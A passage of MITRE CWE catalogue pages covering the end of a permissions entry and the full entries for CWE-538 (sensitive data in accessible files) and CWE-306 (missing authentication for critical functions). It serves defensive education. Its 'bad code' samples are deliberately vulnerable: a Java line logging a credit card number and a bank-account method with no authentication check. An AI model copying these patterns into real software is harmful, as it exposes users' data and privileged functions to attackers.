Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and watch for library functions or system calls on OS resources such as files, directories, and shared memory. Examine the arguments to these calls to infer which permissions are being used.

Note: Note that this technique is only useful for permissions issues related to system resources. It is not likely to detect application-level business rules that are related to permissions, such as if a user of a blog system marks a post as "private," but the blog system inadvertently marks it as "public."

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Inter-application Flow Analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Host Application Interface Scanner
Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer
  • Automated Monitored Execution
  • Forced Path Execution

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 743 CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 753 2009 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 803 2010 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 815 OWASP Top Ten 2010 Category A6 - Security Misconfiguration
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 857 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 859 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 860 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 866 2011 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 877 CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 946 SFP Secondary Cluster: Insecure Resource Permissions
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1147 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1149 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1150 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1200 Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1308 CISQ Quality Measures - Security
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1340 CISQ Data Protection Measures
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Frequent Misuse

Rationale:

While the name itself indicates an assignment of permissions for resources, this is often misused for vulnerabilities in which "permissions" are not checked, which is an "authorization" weakness (CWE-285 or descendants) within CWE's model [REF-1287].

Comments:

Closely analyze the specific mistake that is allowing the resource to be exposed, and perform a CWE mapping for that mistake.
+ Notes

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011) FIO03-J Create files with appropriate access permission
The CERT Oracle Secure Coding Standard for Java (2011) SEC01-J Do not allow tainted variables in privileged blocks
The CERT Oracle Secure Coding Standard for Java (2011) ENV03-J Do not grant dangerous combinations of permissions
CERT C Secure Coding FIO06-C Create files with appropriate access permissions
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "File Permissions." Page 495. 1st Edition. Addison Wesley. 2006.
[REF-207] John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". Chapter 8, "Access Control." Page 194. 1st Edition. Addison-Wesley. 2002.
[REF-594] Jason Lam. "Top 25 Series - Rank 21 - Incorrect Permission Assignment for Critical Response". SANS Software Security Institute. 2010-03-24. <http://software-security.sans.org/blog/2010/03/24/top-25-series-rank-21-incorrect-permission-assignment-for-critical-response>.
[REF-199] NIST. "United States Government Configuration Baseline (USGCB)". <https://csrc.nist.gov/Projects/United-States-Government-Configuration-Baseline>. URL validated: 2023-03-28.
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28. <https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>. URL validated: 2024-11-17.
[REF-1307] Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". Section 3.7. 2022-08-16. <https://www.cisecurity.org/benchmark/azure>. URL validated: 2023-01-19.
[REF-1327] Center for Internet Security. "CIS Google Cloud Computing Platform Benchmark version 1.3.0". Section 5.1. 2022-03-31. <https://www.cisecurity.org/benchmark/google_cloud_computing_platform>. URL validated: 2023-04-24.
+ Content History
+ Submissions
Submission Date Submitter Organization
2008-09-08
(CWE 1.0, 2008-09-09)
CWE Content Team MITRE
new weakness-focused entry for Research view.
+ Modifications
Modification Date Modifier Organization
2009-01-12 CWE Content Team MITRE
updated Description, Likelihood_of_Exploit, Name, Potential_Mitigations, Relationships
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations, Related_Attack_Patterns
2009-05-27 CWE Content Team MITRE
updated Name
2009-12-28 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Modes_of_Introduction, Observed_Examples, Potential_Mitigations, References
2010-02-16 CWE Content Team MITRE
updated Relationships
2010-04-05 CWE Content Team MITRE
updated Potential_Mitigations, Related_Attack_Patterns
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2010-12-13 CWE Content Team MITRE
updated Potential_Mitigations
2011-03-29 CWE Content Team MITRE
updated Demonstrative_Examples, Description, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11 CWE Content Team MITRE
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2013-07-17 CWE Content Team MITRE
updated References
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships
2017-01-19 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2017-11-08 CWE Content Team MITRE
updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2019-06-20 CWE Content Team MITRE
updated Relationships
2019-09-19 CWE Content Team MITRE
updated Maintenance_Notes, Relationships
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Description, Detection_Factors, Modes_of_Introduction, Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Observed_Examples, Relationships
2022-10-13 CWE Content Team MITRE
updated Demonstrative_Examples, Observed_Examples, References
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Description, References
2023-04-27 CWE Content Team MITRE
updated Demonstrative_Examples, Description, Potential_Mitigations, References, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
+ Previous Entry Names
Change Date Previous Entry Name
2009-01-12 Insecure Permission Assignment for Resource
2009-05-27 Insecure Permission Assignment for Critical Resource

CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory

Weakness ID: 538
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product places sensitive information into files or directories that are accessible to actors who are allowed to have access to the files, but not to the sensitive information.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality

Technical Impact: Read Files or Directories

+ Potential Mitigations

Phases: Architecture and Design; Operation; System Configuration

Do not expose file and directory information to the user.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 200 Exposure of Sensitive Information to an Unauthorized Actor
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 532 Insertion of Sensitive Information into Log File
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 540 Inclusion of Sensitive Information in Source Code
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 651 Exposure of WSDL File Containing Sensitive Information
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 199 Information Management Errors
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Operation OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1

In the following code snippet, a user's full name and credit card number are written to a log file.

(bad code)
Example Language: Java 
logger.info("Username: " + usernme + ", CCN: " + ccn);

+ Observed Examples
Reference Description
SSH password for private key stored in build log
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 815 OWASP Top Ten 2010 Category A6 - Security Misconfiguration
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1417 Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

Depending on usage, this could be a weakness or a category. Further study of all its children is needed, and the entire sub-tree may need to be clarified. The current organization is based primarily on the exposure of sensitive information as a consequence, instead of as a primary weakness.

Maintenance

There is a close relationship with CWE-552, which is more focused on weaknesses. As a result, it may be more appropriate to convert CWE-538 to a category.
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 12: Information Leakage." Page 191. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification Date Modifier Organization
2008-07-01 Eric Dalci Cigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08 CWE Content Team MITRE
updated Relationships, Type
2009-12-28 CWE Content Team MITRE
updated Description, Maintenance_Notes, Name
2010-09-09 Veracode
Suggested OWASP Top Ten mapping
2010-09-27 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2012-05-11 CWE Content Team MITRE
updated References, Related_Attack_Patterns, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2013-02-21 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Description, Name, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-10-26 CWE Content Team MITRE
updated Demonstrative_Examples, Observed_Examples
+ Previous Entry Names
Change Date Previous Entry Name
2009-12-28 File and Directory Information Leaks
2020-02-24 File and Directory Information Exposure

CWE-306: Missing Authentication for Critical Function

Weakness ID: 306
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. Diagram for CWE-306
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Access Control
Other

Technical Impact: Gain Privileges or Assume Identity; Varies by Context

Exposing critical functionality essentially provides an attacker with the privilege level of that functionality. The consequences will depend on the associated functionality, but they can range from reading or modifying sensitive data, accessing administrative or other privileged functionality, or possibly even executing arbitrary code.
+ Potential Mitigations

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.

Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.

In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.

In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].

Phases: Implementation; System Configuration; Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 287 Improper Authentication
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 288 Authentication Bypass Using an Alternate Path or Channel
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 322 Key Exchange without Entity Authentication
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1211 Authentication Errors
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 287 Improper Authentication
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1010 Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Architecture and Design Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
Operation When migrating data to the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), there is a risk of losing the protections that were originally provided by hosting on internal networks. If access does not require authentication, it can be easier for attackers to access the data from anywhere on the Internet.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Cloud Computing (Undetermined Prevalence)

Class: ICS/OT (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

In the following Java example the method createBankAccount is used to create a BankAccount object for a bank management application.

(bad code)
Example Language: Java 
public BankAccount createBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) {
BankAccount account = new BankAccount();
account.setAccountNumber(accountNumber);
account.setAccountType(accountType);
account.setAccountOwnerName(accountName);
account.setAccountOwnerSSN(accountSSN);
account.setBalance(balance);

return account;
}

However, there is no authentication mechanism to ensure that the user creating this bank account object has the authority to create new bank accounts. Some authentication mechanisms should be used to verify that the user has the authority to create bank account objects.

The following Java code includes a boolean variable and method for authenticating a user. If the user has not been authenticated then the createBankAccount will not create the bank account object.

(good code)
Example Language: Java 
private boolean isUserAuthentic = false;

// authenticate user,

// if user is authenticated then set variable to true

// otherwise set variable to false
public boolean authenticateUser(String username, String password) {
...
}

public BankAccount createNewBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) {
BankAccount account = null;

if (isUserAuthentic) {
account = new BankAccount();
account.setAccountNumber(accountNumber);
account.setAccountType(accountType);
account.setAccountOwnerName(accountName);
account.setAccountOwnerSSN(accountSSN);
account.setBalance(balance);
}
return account;
}

Example 2

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors did not use any authentication for critical functionality in their OT products.


Example 3

In 2021, a web site operated by PeopleGIS stored data of US municipalities in Amazon Web Service (AWS) Simple Storage Service (S3) buckets.

(bad code)
Example Language: Other 
A security researcher found 86 S3 buckets that could be accessed without authentication (CWE-306) and stored data unencrypted (CWE-312). These buckets exposed over 1000 GB of data and 1.6 million files including physical addresses, phone numbers, tax documents, pictures of driver's license IDs, etc. [REF-1296] [REF-1295]

While it was not publicly disclosed how the data was protected after discovery, multiple options could have been considered.

(good code)
Example Language: Other 
The sensitive information could have been protected by ensuring that the buckets did not have public read access, e.g., by enabling the s3-account-level-public-access-blocks-periodic rule to Block Public Access. In addition, the data could have been encrypted at rest using the appropriate S3 settings, e.g., by enabling server-side encryption using the s3-bucket-server-side-encryption-enabled setting. Other settings are available to further prevent bucket data from being leaked. [REF-1297]

+ Observed Examples
Reference Description
Chain: a digital asset management program has an undisclosed backdoor in the legacy version of a PHP script (CWE-912) that could allow an unauthenticated user to export metadata (CWE-306)
TCP-based protocol in Programmable Logic Controller (PLC) has no authentication.
Condition Monitor firmware uses a protocol that does not require authentication.
SCADA-based protocol for bridging WAN and LAN traffic has no authentication.
Safety Instrumented System uses proprietary TCP protocols with no authentication.
Distributed Control System (DCS) uses a protocol that has no authentication.
Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
Bluetooth speaker does not require authentication for the debug functionality on the UART port, allowing root shell access
WiFi router does not require authentication for its UART port, allowing adversaries with physical access to execute commands as root
IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV.
Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV.
MFV. Access TFTP server without authentication and obtain configuration file with sensitive plaintext information.
Agent software running at privileges does not authenticate incoming requests over an unprotected channel, allowing a Shatter" attack.
Product enforces restrictions through a GUI but not through privileged APIs.
monitor device allows access to physical UART debug port without authentication
Programmable Logic Controller (PLC) does not have an authentication feature on its communication protocols.
+ Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.

Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Effectiveness: Limited

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

